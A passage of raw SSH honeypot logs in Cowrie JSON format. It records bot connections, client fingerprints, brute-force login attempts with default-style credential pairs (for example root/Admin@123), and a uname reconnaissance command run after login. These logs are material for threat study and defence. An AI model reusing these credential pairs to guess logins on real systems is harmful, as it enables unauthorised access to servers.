],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:03:08.325900Z","src_ip":"80.94.92.184","session":"c0d01a83332e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:03:10.463276Z","src_ip":"80.94.92.184","session":"c0d01a83332e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:03:11.740226Z","src_ip":"80.94.92.184","session":"c0d01a83332e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":37410,"dst_ip":"159.203.135.109","dst_port":22,"session":"773edda79461","protocol":"ssh","message":"New connection: 92.118.39.92:37410 (159.203.135.109:22) [session: 773edda79461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:03:21.536521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:03:21.542252Z","src_ip":"92.118.39.92","session":"773edda79461","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:03:21.640971Z","src_ip":"92.118.39.92","session":"773edda79461","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dogecoin","password":"dogecoin","message":"login attempt [dogecoin/dogecoin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:03:22.053674Z","src_ip":"92.118.39.92","session":"773edda79461","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:03:23.206686Z","src_ip":"92.118.39.92","session":"773edda79461","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.128.221.98","src_port":59828,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa325cf8136b","protocol":"ssh","message":"New connection: 124.128.221.98:59828 (159.203.135.109:22) [session: aa325cf8136b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:04:03.691014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:04:03.695498Z","src_ip":"124.128.221.98","session":"aa325cf8136b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:04:03.920319Z","src_ip":"124.128.221.98","session":"aa325cf8136b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:04:04.595969Z","src_ip":"124.128.221.98","session":"aa325cf8136b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":33308,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f0652aa58de","protocol":"ssh","message":"New connection: 14.225.2.125:33308 (10.17.0.5:22) [session: 5f0652aa58de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:04:04.768796Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:04:05.026043Z","src_ip":"14.225.2.125","session":"5f0652aa58de","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:04:05.076982Z","src_ip":"124.128.221.98","session":"aa325cf8136b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:04:05.080128Z","src_ip":"124.128.221.98","session":"aa325cf8136b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":57288,"dst_ip":"10.17.0.5","dst_port":22,"session":"564c8bc1c3a9","protocol":"ssh","message":"New connection: 14.225.2.125:57288 (10.17.0.5:22) [session: 564c8bc1c3a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:04:05.302972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:04:05.307649Z","src_ip":"14.225.2.125","session":"564c8bc1c3a9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:04:05.325595Z","src_ip":"124.128.221.98","session":"aa325cf8136b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:04:05.329908Z","src_ip":"124.128.221.98","session":"aa325cf8136b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:04:05.583253Z","src_ip":"14.225.2.125","session":"564c8bc1c3a9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Huayun@123","message":"login attempt [root/Huayun@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:04:06.434752Z","src_ip":"14.225.2.125","session":"564c8bc1c3a9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:04:07.020028Z","src_ip":"14.225.2.125","session":"564c8bc1c3a9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:04:07.023614Z","src_ip":"14.225.2.125","session":"564c8bc1c3a9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:04:07.302584Z","src_ip":"14.225.2.125","session":"564c8bc1c3a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:04:07.307454Z","src_ip":"14.225.2.125","session":"564c8bc1c3a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":52872,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8fabb595a1f","protocol":"ssh","message":"New connection: 92.118.39.92:52872 (159.203.135.109:22) [session: a8fabb595a1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:05:41.618336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:05:41.626561Z","src_ip":"92.118.39.92","session":"a8fabb595a1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:05:41.719621Z","src_ip":"92.118.39.92","session":"a8fabb595a1f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"dogecoin","message":"login attempt [root/dogecoin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:05:42.191186Z","src_ip":"92.118.39.92","session":"a8fabb595a1f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:05:42.424612Z","src_ip":"92.118.39.92","session":"a8fabb595a1f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:05:42.427833Z","src_ip":"92.118.39.92","session":"a8fabb595a1f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:05:42.546658Z","src_ip":"92.118.39.92","session":"a8fabb595a1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:05:42.551835Z","src_ip":"92.118.39.92","session":"a8fabb595a1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":20248,"dst_ip":"10.17.0.5","dst_port":22,"session":"580c79b6838e","protocol":"ssh","message":"New connection: 213.209.159.159:20248 (10.17.0.5:22) [session: 580c79b6838e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:05:47.337603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:05:47.397841Z","src_ip":"213.209.159.159","session":"580c79b6838e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:05:47.476288Z","src_ip":"213.209.159.159","session":"580c79b6838e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"estefani","password":"estefani","message":"login attempt [estefani/estefani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:05:47.839111Z","src_ip":"213.209.159.159","session":"580c79b6838e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"estefani","password":"estefani1","message":"login attempt [estefani/estefani1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:05:48.923855Z","src_ip":"213.209.159.159","session":"580c79b6838e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"estefani","password":"estefani123","message":"login attempt [estefani/estefani123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:05:50.007946Z","src_ip":"213.209.159.159","session":"580c79b6838e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"estefani","password":"estefani1234","message":"login attempt [estefani/estefani1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:05:51.092554Z","src_ip":"213.209.159.159","session":"580c79b6838e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"estefani","password":"estefani12345","message":"login attempt [estefani/estefani12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:05:52.176014Z","src_ip":"213.209.159.159","session":"580c79b6838e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:05:53.259969Z","src_ip":"213.209.159.159","session":"580c79b6838e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":60116,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fca347107a7","protocol":"ssh","message":"New connection: 195.178.110.218:60116 (10.17.0.5:22) [session: 8fca347107a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:05:57.830249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:05:57.835639Z","src_ip":"195.178.110.218","session":"8fca347107a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:05:57.915720Z","src_ip":"195.178.110.218","session":"8fca347107a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:05:58.154711Z","src_ip":"195.178.110.218","session":"8fca347107a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:05:59.236837Z","src_ip":"195.178.110.218","session":"8fca347107a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":54382,"dst_ip":"10.17.0.5","dst_port":22,"session":"a25963611bb3","protocol":"ssh","message":"New connection: 80.94.92.184:54382 (10.17.0.5:22) [session: a25963611bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:06:23.737777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:06:23.907380Z","src_ip":"80.94.92.184","session":"a25963611bb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2